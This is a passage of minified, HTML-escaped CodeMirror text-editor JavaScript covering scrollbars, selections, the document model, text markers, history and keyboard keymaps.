e=this.vert=d(&quot;div&quot;,[d(&quot;div&quot;,null,null,&quot;min-width: 1px&quot;)],&quot;CodeMirror-vscrollbar&quot;),f=this.horiz=d(&quot;div&quot;,[d(&quot;div&quot;,null,null,&quot;height: 100%; min-height: 1px&quot;)],&quot;CodeMirror-hscrollbar&quot;);a(e),a(f),Yg(e,&quot;scroll&quot;,function(){e.clientHeight&amp;&amp;b(e.scrollTop,&quot;vertical&quot;)}),Yg(f,&quot;scroll&quot;,function(){f.clientWidth&amp;&amp;b(f.scrollLeft,&quot;horizontal&quot;)}),this.checkedZeroWidth=!1,ng&amp;&amp;og&lt;8&amp;&amp;(this.horiz.style.minHeight=this.vert.style.minWidth=&quot;18px&quot;)};qh.prototype.update=function(a){var b=a.scrollWidth&gt;a.clientWidth+1,c=a.scrollHeight&gt;a.clientHeight+1,d=a.nativeBarWidth;if(c){this.vert.style.display=&quot;block&quot;,this.vert.style.bottom=b?d+&quot;px&quot;:&quot;0&quot;;var e=a.viewHeight-(b?d:0);this.vert.firstChild.style.height=Math.max(0,a.scrollHeight-a.clientHeight+e)+&quot;px&quot;}else this.vert.style.display=&quot;&quot;,this.vert.firstChild.style.height=&quot;0&quot;;if(b){this.horiz.style.display=&quot;block&quot;,this.horiz.style.right=c?d+&quot;px&quot;:&quot;0&quot;,this.horiz.style.left=a.barLeft+&quot;px&quot;;var f=a.viewWidth-a.barLeft-(c?d:0);this.horiz.firstChild.style.width=Math.max(0,a.scrollWidth-a.clientWidth+f)+&quot;px&quot;}else this.horiz.style.display=&quot;&quot;,this.horiz.firstChild.style.width=&quot;0&quot;;return!this.checkedZeroWidth&amp;&amp;a.clientHeight&gt;0&amp;&amp;(0==d&amp;&amp;this.zeroWidthHack(),this.checkedZeroWidth=!0),{right:c?d:0,bottom:b?d:0}},qh.prototype.setScrollLeft=function(a){this.horiz.scrollLeft!=a&amp;&amp;(this.horiz.scrollLeft=a),this.disableHoriz&amp;&amp;this.enableZeroWidthBar(this.horiz,this.disableHoriz,&quot;horiz&quot;)},qh.prototype.setScrollTop=function(a){this.vert.scrollTop!=a&amp;&amp;(this.vert.scrollTop=a),this.disableVert&amp;&amp;this.enableZeroWidthBar(this.vert,this.disableVert,&quot;vert&quot;)},qh.prototype.zeroWidthHack=function(){var a=zg&amp;&amp;!ug?&quot;12px&quot;:&quot;18px&quot;;this.horiz.style.height=this.vert.style.width=a,this.horiz.style.pointerEvents=this.vert.style.pointerEvents=&quot;none&quot;,this.disableHoriz=new Ig,this.disableVert=new Ig},qh.prototype.enableZeroWidthBar=function(a,b,c){function d(){var e=a.getBoundingClientRect(),f=&quot;vert&quot;==c?document.elementFromPoint(e.right-1,(e.top+e.bottom)/2):document.elementFromPoint((e.right+e.left)/2,e.bottom-1);f!=a?a.style.pointerEvents=&quot;none&quot;:b.set(1e3,d)}a.style.pointerEvents=&quot;auto&quot;,b.set(1e3,d)},qh.prototype.clear=function(){var a=this.horiz.parentNode;a.removeChild(this.horiz),a.removeChild(this.vert)};var rh=function(){};rh.prototype.update=function(){return{bottom:0,right:0}},rh.prototype.setScrollLeft=function(){},rh.prototype.setScrollTop=function(){},rh.prototype.clear=function(){};var sh={&quot;native&quot;:qh,&quot;null&quot;:rh},th=0,uh=function(a,b,c){var d=a.display;this.viewport=b,this.visible=Mc(d,a.doc,b),this.editorIsHidden=!d.wrapper.offsetWidth,this.wrapperHeight=d.wrapper.clientHeight,this.wrapperWidth=d.wrapper.clientWidth,this.oldDisplayWidth=Sb(a),this.force=c,this.dims=uc(a),this.events=[]};uh.prototype.signal=function(a,b){Ha(a,b)&amp;&amp;this.events.push(arguments)},uh.prototype.finish=function(){for(var a=this,b=0;b&lt;this.events.length;b++)Ea.apply(null,a.events[b])};var vh=0,wh=null;ng?wh=-.53:jg?wh=15:rg?wh=-.7:tg&amp;&amp;(wh=-1/3);var xh=function(a,b){this.ranges=a,this.primIndex=b};xh.prototype.primary=function(){return this.ranges[this.primIndex]},xh.prototype.equals=function(a){var b=this;if(a==this)return!0;if(a.primIndex!=this.primIndex||a.ranges.length!=this.ranges.length)return!1;for(var c=0;c&lt;this.ranges.length;c++){var d=b.ranges[c],e=a.ranges[c];if(!L(d.anchor,e.anchor)||!L(d.head,e.head))return!1}return!0},xh.prototype.deepCopy=function(){for(var a=this,b=[],c=0;c&lt;this.ranges.length;c++)b[c]=new yh(M(a.ranges[c].anchor),M(a.ranges[c].head));return new xh(b,this.primIndex)},xh.prototype.somethingSelected=function(){for(var a=this,b=0;b&lt;this.ranges.length;b++)if(!a.ranges[b].empty())return!0;return!1},xh.prototype.contains=function(a,b){var c=this;b||(b=a);for(var d=0;d&lt;this.ranges.length;d++){var e=c.ranges[d];if(K(b,e.from())&gt;=0&amp;&amp;K(a,e.to())&lt;=0)return d}return-1};var yh=function(a,b){this.anchor=a,this.head=b};yh.prototype.from=function(){return O(this.anchor,this.head)},yh.prototype.to=function(){return N(this.anchor,this.head)},yh.prototype.empty=function(){return this.head.line==this.anchor.line&amp;&amp;this.head.ch==this.anchor.ch},Oe.prototype={chunkSize:function(){return this.lines.length},removeInner:function(a,b){for(var c=this,d=a,e=a+b;d&lt;e;++d){var f=c.lines[d];c.height-=f.height,kb(f),yb(f,&quot;delete&quot;)}this.lines.splice(a,b)},collapse:function(a){a.push.apply(a,this.lines)},insertInner:function(a,b,c){var d=this;this.height+=c,this.lines=this.lines.slice(0,a).concat(b).concat(this.lines.slice(a));for(var e=0;e&lt;b.length;++e)b[e].parent=d},iterN:function(a,b,c){for(var d=this,e=a+b;a&lt;e;++a)if(c(d.lines[a]))return!0}},Pe.prototype={chunkSize:function(){return this.size},removeInner:function(a,b){var c=this;this.size-=b;for(var d=0;d&lt;this.children.length;++d){var e=c.children[d],f=e.chunkSize();if(a&lt;f){var g=Math.min(b,f-a),h=e.height;if(e.removeInner(a,g),c.height-=h-e.height,f==g&amp;&amp;(c.children.splice(d--,1),e.parent=null),0==(b-=g))break;a=0}else a-=f}if(this.size-b&lt;25&amp;&amp;(this.children.length&gt;1||!(this.children[0]instanceof Oe))){var i=[];this.collapse(i),this.children=[new Oe(i)],this.children[0].parent=this}},collapse:function(a){for(var b=this,c=0;c&lt;this.children.length;++c)b.children[c].collapse(a)},insertInner:function(a,b,c){var d=this;this.size+=b.length,this.height+=c;for(var e=0;e&lt;this.children.length;++e){var f=d.children[e],g=f.chunkSize();if(a&lt;=g){if(f.insertInner(a,b,c),f.lines&amp;&amp;f.lines.length&gt;50){for(var h=f.lines.length%25+25,i=h;i&lt;f.lines.length;){var j=new Oe(f.lines.slice(i,i+=25));f.height-=j.height,d.children.splice(++e,0,j),j.parent=d}f.lines=f.lines.slice(0,h),d.maybeSpill()}break}a-=g}},maybeSpill:function(){if(!(this.children.length&lt;=10)){var a=this;do{var b=a.children.splice(a.children.length-5,5),c=new Pe(b);if(a.parent){a.size-=c.size,a.height-=c.height;var d=m(a.parent.children,a);a.parent.children.splice(d+1,0,c)}else{var e=new Pe(a.children);e.parent=a,a.children=[e,c],a=e}c.parent=a.parent}while(a.children.length&gt;10);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var d=this,e=0;e&lt;this.children.length;++e){var f=d.children[e],g=f.chunkSize();if(a&lt;g){var h=Math.min(b,g-a);if(f.iterN(a,h,c))return!0;if(0==(b-=h))break;a=0}else a-=g}}};var zh=function(a,b,c){var d=this;if(c)for(var e in c)c.hasOwnProperty(e)&amp;&amp;(d[e]=c[e]);this.doc=a,this.node=b};zh.prototype.clear=function(){var a=this,b=this.doc.cm,c=this.line.widgets,d=this.line,e=F(d);if(null!=e&amp;&amp;c){for(var f=0;f&lt;c.length;++f)c[f]==a&amp;&amp;c.splice(f--,1);c.length||(d.widgets=null);var g=Mb(this);E(d,Math.max(0,d.height-g)),b&amp;&amp;(md(b,function(){Qe(b,d,-g),rd(b,e,&quot;widget&quot;)}),yb(b,&quot;lineWidgetCleared&quot;,b,this,e))}},zh.prototype.changed=function(){var a=this,b=this.height,c=this.doc.cm,d=this.line;this.height=null;var e=Mb(this)-b;e&amp;&amp;(E(d,d.height+e),c&amp;&amp;md(c,function(){c.curOp.forceUpdate=!0,Qe(c,d,e),yb(c,&quot;lineWidgetChanged&quot;,c,a,F(d))}))},Ia(zh);var Ah=0,Bh=function(a,b){this.lines=[],this.type=b,this.doc=a,this.id=++Ah};Bh.prototype.clear=function(){var a=this;if(!this.explicitlyCleared){var b=this.doc.cm,c=b&amp;&amp;!b.curOp;if(c&amp;&amp;ed(b),Ha(this,&quot;clear&quot;)){var d=this.find();d&amp;&amp;yb(this,&quot;clear&quot;,d.from,d.to)}for(var e=null,f=null,g=0;g&lt;this.lines.length;++g){var h=a.lines[g],i=W(h.markedSpans,a);b&amp;&amp;!a.collapsed?rd(b,F(h),&quot;text&quot;):b&amp;&amp;(null!=i.to&amp;&amp;(f=F(h)),null!=i.from&amp;&amp;(e=F(h))),h.markedSpans=X(h.markedSpans,i),null==i.from&amp;&amp;a.collapsed&amp;&amp;!qa(a.doc,h)&amp;&amp;b&amp;&amp;E(h,sc(b.display))}if(b&amp;&amp;this.collapsed&amp;&amp;!b.options.lineWrapping)for(var j=0;j&lt;this.lines.length;++j){var k=la(a.lines[j]),l=ta(k);l&gt;b.display.maxLineLength&amp;&amp;(b.display.maxLine=k,b.display.maxLineLength=l,b.display.maxLineChanged=!0)}null!=e&amp;&amp;b&amp;&amp;this.collapsed&amp;&amp;qd(b,e,f+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&amp;&amp;this.doc.cantEdit&amp;&amp;(this.doc.cantEdit=!1,b&amp;&amp;we(b.doc)),b&amp;&amp;yb(b,&quot;markerCleared&quot;,b,this,e,f),c&amp;&amp;fd(b),this.parent&amp;&amp;this.parent.clear()}},Bh.prototype.find=function(a,b){var c=this;null==a&amp;&amp;&quot;bookmark&quot;==this.type&amp;&amp;(a=1);for(var d,e,f=0;f&lt;this.lines.length;++f){var g=c.lines[f],h=W(g.markedSpans,c);if(null!=h.from&amp;&amp;(d=J(b?g:F(g),h.from),a==-1))return d;if(null!=h.to&amp;&amp;(e=J(b?g:F(g),h.to),1==a))return e}return d&amp;&amp;{from:d,to:e}},Bh.prototype.changed=function(){var a=this,b=this.find(-1,!0),c=this,d=this.doc.cm;b&amp;&amp;d&amp;&amp;md(d,function(){var e=b.line,f=F(b.line),g=Yb(d,f);if(g&amp;&amp;(dc(g),d.curOp.selectionChanged=d.curOp.forceUpdate=!0),d.curOp.updateMaxLine=!0,!qa(c.doc,e)&amp;&amp;null!=c.height){var h=c.height;c.height=null;var i=Mb(c)-h;i&amp;&amp;E(e,e.height+i)}yb(d,&quot;markerChanged&quot;,d,a)})},Bh.prototype.attachLine=function(a){if(!this.lines.length&amp;&amp;this.doc.cm){var b=this.doc.cm.curOp;b.maybeHiddenMarkers&amp;&amp;m(b.maybeHiddenMarkers,this)!=-1||(b.maybeUnhiddenMarkers||(b.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(a)},Bh.prototype.detachLine=function(a){if(this.lines.splice(m(this.lines,a),1),!this.lines.length&amp;&amp;this.doc.cm){var b=this.doc.cm.curOp;(b.maybeHiddenMarkers||(b.maybeHiddenMarkers=[])).push(this)}},Ia(Bh);var Ch=function(a,b){var c=this;this.markers=a,this.primary=b;for(var d=0;d&lt;a.length;++d)a[d].parent=c};Ch.prototype.clear=function(){var a=this;if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var b=0;b&lt;this.markers.length;++b)a.markers[b].clear();yb(this,&quot;clear&quot;)}},Ch.prototype.find=function(a,b){return this.primary.find(a,b)},Ia(Ch);var Dh=0,Eh=function(a,b,c,d,e){if(!(this instanceof Eh))return new Eh(a,b,c,d,e);null==c&amp;&amp;(c=0),Pe.call(this,[new Oe([new jh(&quot;&quot;,null)])]),this.first=c,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.modeFrontier=this.highlightFrontier=c;var f=J(c,0);this.sel=Nd(f),this.history=new _d(null),this.id=++Dh,this.modeOption=b,this.lineSep=d,this.direction=&quot;rtl&quot;==e?&quot;rtl&quot;:&quot;ltr&quot;,this.extend=!1,&quot;string&quot;==typeof a&amp;&amp;(a=this.splitLines(a)),Wd(this,{from:f,to:f,text:a}),te(this,Nd(f),Ng)};Eh.prototype=t(Pe.prototype,{constructor:Eh,iter:function(a,b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first,this.first+this.size,a)},insert:function(a,b){for(var c=0,d=0;d&lt;b.length;++d)c+=b[d].height;this.insertInner(a-this.first,b,c)},remove:function(a,b){this.removeInner(a-this.first,b)},getValue:function(a){var b=D(this,this.first,this.first+this.size);return a===!1?b:b.join(a||this.lineSeparator())},setValue:pd(function(a){var b=J(this.first,0),c=this.first+this.size-1;De(this,{from:b,to:J(c,B(this,c).text.length),text:this.splitLines(a),origin:&quot;setValue&quot;,full:!0},!0),this.cm&amp;&amp;Vc(this.cm,0,0),te(this,Nd(b),Ng)}),replaceRange:function(a,b,c,d){b=Q(this,b),c=c?Q(this,c):b,Je(this,a,b,c,d)},getRange:function(a,b,c){var d=C(this,Q(this,a),Q(this,b));return c===!1?d:d.join(c||this.lineSeparator())},getLine:function(a){var b=this.getLineHandle(a);return b&amp;&amp;b.text},getLineHandle:function(a){if(H(this,a))return B(this,a)},getLineNumber:function(a){return F(a)},getLineHandleVisualStart:function(a){return&quot;number&quot;==typeof a&amp;&amp;(a=B(this,a)),la(a)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(a){return Q(this,a)},getCursor:function(a){var b,c=this.sel.primary();return b=null==a||&quot;head&quot;==a?c.head:&quot;anchor&quot;==a?c.anchor:&quot;end&quot;==a||&quot;to&quot;==a||a===!1?c.to():c.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:pd(function(a,b,c){qe(this,Q(this,&quot;number&quot;==typeof a?J(a,b||0):a),null,c)}),setSelection:pd(function(a,b,c){qe(this,Q(this,a),Q(this,b||a),c)}),extendSelection:pd(function(a,b,c){ne(this,Q(this,a),b&amp;&amp;Q(this,b),c)}),extendSelections:pd(function(a,b){oe(this,S(this,a),b)}),extendSelectionsBy:pd(function(a,b){var c=q(this.sel.ranges,a);oe(this,S(this,c),b)}),setSelections:pd(function(a,b,c){var d=this;if(a.length){for(var e=[],f=0;f&lt;a.length;f++)e[f]=new yh(Q(d,a[f].anchor),Q(d,a[f].head));null==b&amp;&amp;(b=Math.min(a.length-1,this.sel.primIndex)),te(this,Md(e,b),c)}}),addSelection:pd(function(a,b,c){var d=this.sel.ranges.slice(0);d.push(new yh(Q(this,a),Q(this,b||a))),te(this,Md(d,d.length-1),c)}),getSelection:function(a){for(var b,c=this,d=this.sel.ranges,e=0;e&lt;d.length;e++){var f=C(c,d[e].from(),d[e].to());b=b?b.concat(f):f}return a===!1?b:b.join(a||this.lineSeparator())},getSelections:function(a){for(var b=this,c=[],d=this.sel.ranges,e=0;e&lt;d.length;e++){var f=C(b,d[e].from(),d[e].to());a!==!1&amp;&amp;(f=f.join(a||b.lineSeparator())),c[e]=f}return c},replaceSelection:function(a,b,c){for(var d=[],e=0;e&lt;this.sel.ranges.length;e++)d[e]=a;this.replaceSelections(d,b,c||&quot;+input&quot;)},replaceSelections:pd(function(a,b,c){for(var d=this,e=[],f=this.sel,g=0;g&lt;f.ranges.length;g++){var h=f.ranges[g];e[g]={from:h.from(),to:h.to(),text:d.splitLines(a[g]),origin:c}}for(var i=b&amp;&amp;&quot;end&quot;!=b&amp;&amp;Sd(this,e,b),j=e.length-1;j&gt;=0;j--)De(d,e[j]);i?se(this,i):this.cm&amp;&amp;Uc(this.cm)}),undo:pd(function(){Fe(this,&quot;undo&quot;)}),redo:pd(function(){Fe(this,&quot;redo&quot;)}),undoSelection:pd(function(){Fe(this,&quot;undo&quot;,!0)}),redoSelection:pd(function(){Fe(this,&quot;redo&quot;,!0)}),setExtending:function(a){this.extend=a},getExtending:function(){return this.extend},historySize:function(){for(var a=this.history,b=0,c=0,d=0;d&lt;a.done.length;d++)a.done[d].ranges||++b;for(var e=0;e&lt;a.undone.length;e++)a.undone[e].ranges||++c;return{undo:b,redo:c}},clearHistory:function(){this.history=new _d(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(a){return a&amp;&amp;(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(a){return this.history.generation==(a||this.cleanGeneration)},getHistory:function(){return{done:le(this.history.done),undone:le(this.history.undone)}},setHistory:function(a){var b=this.history=new _d(this.history.maxGeneration);b.done=le(a.done.slice(0),null,!0),b.undone=le(a.undone.slice(0),null,!0)},setGutterMarker:pd(function(a,b,c){return Ne(this,a,&quot;gutter&quot;,function(a){var d=a.gutterMarkers||(a.gutterMarkers={});return d[b]=c,!c&amp;&amp;w(d)&amp;&amp;(a.gutterMarkers=null),!0})}),clearGutter:pd(function(a){var b=this;this.iter(function(c){c.gutterMarkers&amp;&amp;c.gutterMarkers[a]&amp;&amp;Ne(b,c,&quot;gutter&quot;,function(){return c.gutterMarkers[a]=null,w(c.gutterMarkers)&amp;&amp;(c.gutterMarkers=null),!0})})}),lineInfo:function(a){var b;if(&quot;number&quot;==typeof a){if(!H(this,a))return null;if(b=a,a=B(this,a),!a)return null}else if(b=F(a),null==b)return null;return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass,bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},addLineClass:pd(function(b,c,d){return Ne(this,b,&quot;gutter&quot;==c?&quot;gutter&quot;:&quot;class&quot;,function(b){var e=&quot;text&quot;==c?&quot;textClass&quot;:&quot;background&quot;==c?&quot;bgClass&quot;:&quot;gutter&quot;==c?&quot;gutterClass&quot;:&quot;wrapClass&quot;;if(b[e]){if(a(d).test(b[e]))return!1;b[e]+=&quot; &quot;+d}else b[e]=d;return!0})}),removeLineClass:pd(function(b,c,d){return Ne(this,b,&quot;gutter&quot;==c?&quot;gutter&quot;:&quot;class&quot;,function(b){var e=&quot;text&quot;==c?&quot;textClass&quot;:&quot;background&quot;==c?&quot;bgClass&quot;:&quot;gutter&quot;==c?&quot;gutterClass&quot;:&quot;wrapClass&quot;,f=b[e];if(!f)return!1;if(null==d)b[e]=null;else{var g=f.match(a(d));if(!g)return!1;var h=g.index+g[0].length;b[e]=f.slice(0,g.index)+(g.index&amp;&amp;h!=f.length?&quot; &quot;:&quot;&quot;)+f.slice(h)||null}return!0})}),addLineWidget:pd(function(a,b,c){return Re(this,a,b,c)}),removeLineWidget:function(a){a.clear()},markText:function(a,b,c){return Se(this,Q(this,a),Q(this,b),c,c&amp;&amp;c.type||&quot;range&quot;)},setBookmark:function(a,b){var c={replacedWith:b&amp;&amp;(null==b.nodeType?b.widget:b),insertLeft:b&amp;&amp;b.insertLeft,clearWhenEmpty:!1,shared:b&amp;&amp;b.shared,handleMouseEvents:b&amp;&amp;b.handleMouseEvents};return a=Q(this,a),Se(this,a,a,c,&quot;bookmark&quot;)},findMarksAt:function(a){a=Q(this,a);var b=[],c=B(this,a.line).markedSpans;if(c)for(var d=0;d&lt;c.length;++d){var e=c[d];(null==e.from||e.from&lt;=a.ch)&amp;&amp;(null==e.to||e.to&gt;=a.ch)&amp;&amp;b.push(e.marker.parent||e.marker)}return b},findMarks:function(a,b,c){a=Q(this,a),b=Q(this,b);var d=[],e=a.line;return this.iter(a.line,b.line+1,function(f){var g=f.markedSpans;if(g)for(var h=0;h&lt;g.length;h++){var i=g[h];null!=i.to&amp;&amp;e==a.line&amp;&amp;a.ch&gt;=i.to||null==i.from&amp;&amp;e!=a.line||null!=i.from&amp;&amp;e==b.line&amp;&amp;i.from&gt;=b.ch||c&amp;&amp;!c(i.marker)||d.push(i.marker.parent||i.marker)}++e}),d},getAllMarks:function(){var a=[];return this.iter(function(b){var c=b.markedSpans;if(c)for(var d=0;d&lt;c.length;++d)null!=c[d].from&amp;&amp;a.push(c[d].marker)}),a},posFromIndex:function(a){var b,c=this.first,d=this.lineSeparator().length;return this.iter(function(e){var f=e.text.length+d;return f&gt;a?(b=a,!0):(a-=f,void++c)}),Q(this,J(c,b))},indexFromPos:function(a){a=Q(this,a);var b=a.ch;if(a.line&lt;this.first||a.ch&lt;0)return 0;var c=this.lineSeparator().length;return this.iter(this.first,a.line,function(a){b+=a.text.length+c}),b},copy:function(a){var b=new Eh(D(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);return b.scrollTop=this.scrollTop,b.scrollLeft=this.scrollLeft,b.sel=this.sel,b.extend=!1,a&amp;&amp;(b.history.undoDepth=this.history.undoDepth,b.setHistory(this.getHistory())),b},linkedDoc:function(a){a||(a={});var b=this.first,c=this.first+this.size;null!=a.from&amp;&amp;a.from&gt;b&amp;&amp;(b=a.from),null!=a.to&amp;&amp;a.to&lt;c&amp;&amp;(c=a.to);var d=new Eh(D(this,b,c),a.mode||this.modeOption,b,this.lineSep,this.direction);return a.sharedHist&amp;&amp;(d.history=this.history),(this.linked||(this.linked=[])).push({doc:d,sharedHist:a.sharedHist}),d.linked=[{doc:this,isParent:!0,sharedHist:a.sharedHist}],Ve(d,Ue(this)),d},unlinkDoc:function(a){var b=this;if(a instanceof Pf&amp;&amp;(a=a.doc),this.linked)for(var c=0;c&lt;this.linked.length;++c){var d=b.linked[c];if(d.doc==a){b.linked.splice(c,1),a.unlinkDoc(b),We(Ue(b));break}}if(a.history==this.history){var e=[a.id];Xd(a,function(a){return e.push(a.id)},!0),a.history=new _d(null),a.history.done=le(this.history.done,e),a.history.undone=le(this.history.undone,e)}},iterLinkedDocs:function(a){Xd(this,a)},getMode:function(){return this.mode},getEditor:function(){return this.cm},splitLines:function(a){return this.lineSep?a.split(this.lineSep):$g(a)},lineSeparator:function(){return this.lineSep||&quot;\n&quot;},setDirection:pd(function(a){&quot;rtl&quot;!=a&amp;&amp;(a=&quot;ltr&quot;),a!=this.direction&amp;&amp;(this.direction=a,this.iter(function(a){return a.order=null}),this.cm&amp;&amp;$d(this.cm))})}),Eh.prototype.eachLine=Eh.prototype.iter;for(var Fh=0,Gh=!1,Hh={3:&quot;Enter&quot;,8:&quot;Backspace&quot;,9:&quot;Tab&quot;,13:&quot;Enter&quot;,16:&quot;Shift&quot;,17:&quot;Ctrl&quot;,18:&quot;Alt&quot;,19:&quot;Pause&quot;,20:&quot;CapsLock&quot;,27:&quot;Esc&quot;,32:&quot;Space&quot;,33:&quot;PageUp&quot;,34:&quot;PageDown&quot;,35:&quot;End&quot;,36:&quot;Home&quot;,37:&quot;Left&quot;,38:&quot;Up&quot;,39:&quot;Right&quot;,40:&quot;Down&quot;,44:&quot;PrintScrn&quot;,45:&quot;Insert&quot;,46:&quot;Delete&quot;,59:&quot;;&quot;,61:&quot;=&quot;,91:&quot;Mod&quot;,92:&quot;Mod&quot;,93:&quot;Mod&quot;,106:&quot;*&quot;,107:&quot;=&quot;,109:&quot;-&quot;,110:&quot;.&quot;,111:&quot;/&quot;,127:&quot;Delete&quot;,173:&quot;-&quot;,186:&quot;;&quot;,187:&quot;=&quot;,188:&quot;,&quot;,189:&quot;-&quot;,190:&quot;.&quot;,191:&quot;/&quot;,192:&quot;`&quot;,219:&quot;[&quot;,220:&quot;\\&quot;,221:&quot;]&quot;,222:&quot;&#039;&quot;,63232:&quot;Up&quot;,63233:&quot;Down&quot;,63234:&quot;Left&quot;,63235:&quot;Right&quot;,63272:&quot;Delete&quot;,63273:&quot;Home&quot;,63275:&quot;End&quot;,63276:&quot;PageUp&quot;,63277:&quot;PageDown&quot;,63302:&quot;Insert&quot;},Ih=0;Ih&lt;10;Ih++)Hh[Ih+48]=Hh[Ih+96]=String(Ih);for(var Jh=65;Jh&lt;=90;Jh++)Hh[Jh]=String.fromCharCode(Jh);for(var Kh=1;Kh&lt;=12;Kh++)Hh[Kh+111]=Hh[Kh+63235]=&quot;F&quot;+Kh;var Lh={};Lh.basic={Left:&quot;goCharLeft&quot;,Right:&quot;goCharRight&quot;,Up:&quot;goLineUp&quot;,Down:&quot;goLineDown&quot;,End:&quot;goLineEnd&quot;,Home:&quot;goLineStartSmart&quot;,PageUp:&quot;goPageUp&quot;,PageDown:&quot;goPageDown&quot;,Delete:&quot;delCharAfter&quot;,Backspace:&quot;delCharBefore&quot;,&quot;Shift-Backspace&quot;:&quot;delCharBefore&quot;,Tab:&quot;defaultTab&quot;,&quot;Shift-Tab&quot;:&quot;indentAuto&quot;,Enter:&quot;newlineAndIndent&quot;,Insert:&quot;toggleOverwrite&quot;,Esc:&quot;singleSelection&quot;},Lh.pcDefault={&quot;Ctrl-A&quot;:&quot;selectAll&quot;,&quot;Ctrl-D&quot;:&quot;deleteLine&quot;,&quot;Ctrl-Z&quot;:&quot;undo&quot;,&quot;Shift-Ctrl-Z&quot;:&quot;redo&quot;,&quot;Ctrl-Y&quot;:&quot;redo&quot;,&quot;Ctrl-Home&quot;:&quot;goDocStart&quot;,&quot;Ctrl-End&quot;:&quot;goDocEnd&quot;,&quot;Ctrl-Up&quot;:&quot;goLineUp&quot;,&quot;Ctrl-Down&quot;:&quot;goLineDown&quot;,&quot;Ctrl-Left&quot;:&quot;goGroupLeft&quot;,&quot;Ctrl-Right&quot;:&quot;goGroupRight&quot;,&quot;Alt-Left&quot;:&quot;goLineStart&quot;,&quot;Alt-Right&quot;:&quot;goLineEnd&quot;,&quot;Ctrl-Backspace&quot;:&quot;delGroupBefore&quot;,&quot;Ctrl-Delete&quot;:&quot;delGroupAfter&quot;,&quot;Ctrl-S&quot;:&quot;save&quot;,&quot;Ctrl-F&quot;:&quot;find&quot;,&quot;Ctrl-G&quot;:&quot;findNext&quot;,&quot;Shift-Ctrl-G&quot;:&quot;findPrev&quot;,&quot;Shift-Ctrl-F&quot;:&quot;replace&quot;,&quot;Shift-Ctrl-R&quot;:&quot;replaceAll&quot;,&quot;Ctrl-[&quot;:&quot;indentLess&quot;,&quot;Ctrl-]&quot;:&quot;indentMore&quot;,&quot;Ctrl-U&quot;:&quot;undoSelection&quot;,&quot;Shift-Ctrl-U&quot;:&quot;redoSelection&quot;,&quot;Alt-U&quot;:&quot;redoSelection&quot;,fallthrough:&quot;basic&quot;},Lh.emacsy={&quot;Ctrl-F&quot;:&quot;goCharRight&quot;,&quot;Ctrl-B&quot;:&quot;goCharLeft&quot;,&quot;Ctrl-P&quot;:&quot;goLineUp&quot;,&quot;Ctrl-N&quot;:&quot;goLineDown&quot;,&quot;Alt-F&quot;:&quot;goWordRight&quot;,&quot;Alt-B&quot;:&quot;goWordLeft&quot;,&quot;Ctrl-A&quot;:&quot;goLineStart&quot;,&quot;Ctrl-E&quot;:&quot;goLineEnd&quot;,&quot;Ctrl-V&quot;:&quot;goPageDown&quot;,&quot;Shift-Ctrl-V&quot;:&quot;goPageUp&quot;,&quot;Ctrl-D&quot;:&quot;delCharAfter&quot;,&quot;Ctrl-H&quot;:&quot;delCharBefore&quot;,&quot;Alt-D&quot;:&quot;delWordAfter&quot;,&quot;Alt-Backspace&quot;:&quot;delWordBefore&quot;,&quot;Ctrl-K&quot;:&quot;killLine&quot;,&quot;Ctrl-T&quot;:&quot;transposeChars&quot;,&quot;Ctrl-O&quot;:&quot;openLine&quot;},Lh.macDefault={&quot;Cmd-A&quot;:&quot;selectAll&quot;,&quot;Cmd-D&quot;:&quot;deleteLine&quot;,&quot;Cmd-Z&quot;:&quot;undo&quot;,&quot;Shift-Cmd-Z&quot;:&quot;redo&quot;,&quot;Cmd-Y&quot;:&quot;redo&quot;,&quot;Cmd-Home&quot;:&quot;goDocStart&quot;,&quot;Cmd-Up&quot;:&quot;goDocStart&quot;,&quot;Cmd-End&quot;:&quot;goDocEnd&quot;,&quot;Cmd-Down&quot;:&quot;goDocEnd&quot;,&quot;Alt-Left&quot;:&quot;goGroupLeft&quot;,&quot;Alt-Right&quot;:&quot;goGroupRight&quot;,&quot;Cmd-Left&quot;:&quot;goLineLeft&quot;,&quot;Cmd-Right&quot;:&quot;goLineRight&quot;,&quot;Alt-Backspace&quot;:&quot;delGroupBefore&quot;,&quot;Ctrl-Alt-Backspace&quot;:&quot;delGroupAfter&quot;,&quot;Alt-Delete&quot;:&quot;delGroupAfter&quot;,&quot;Cmd-S&quot;:&quot;save&quot;,&quot;Cmd-F&quot;:&quot;find&quot;,&quot;Cmd-G&quot;:&quot;findNext&quot;,&quot;Shift-Cmd-G&quot;:&quot;findPrev&quot;,&quot;Cmd-Alt-F&quot;:&quot;replace&quot;,&quot;Shift-Cmd-Alt-F&quot;:&quot;replaceAll&quot;,&quot;Cmd-[&quot;:&quot;indentLess&quot;,&quot;Cmd-]&quot;:&quot;indentMore&quot;,&quot;Cmd-Backspace&quot;:&quot;delWrappedLineLeft&quot;,&quot;Cmd-Delete&quot;:&quot;delWrappedLineRight&quot;,&quot;Cmd-U&quot;:&quot;undoSelection&quot;,&quot;Shift-Cmd-U&quot;:&quot;redoSelection&quot;,&quot;Ctrl-Up&quot;:&quot;goDocStart&quot;,&quot;Ctrl-Down&quot;:&quot;goDocEnd&quot;,fallthrough:[&quot;basic&quot;,&quot;emacsy&quot;]},Lh[&quot;default&quot;]=zg?Lh.macDefault:Lh.pcDefault;var Mh={selectAll:Be,singleSelection:function(a){return a.setSelection(a.getCursor(&quot;anchor&quot;),a.getCursor(&quot;head&quot;),Ng)},killLine:function(a){return lf(a,function(b){if(b.empty()){var c=B(a.doc,b.head.line).text.length;
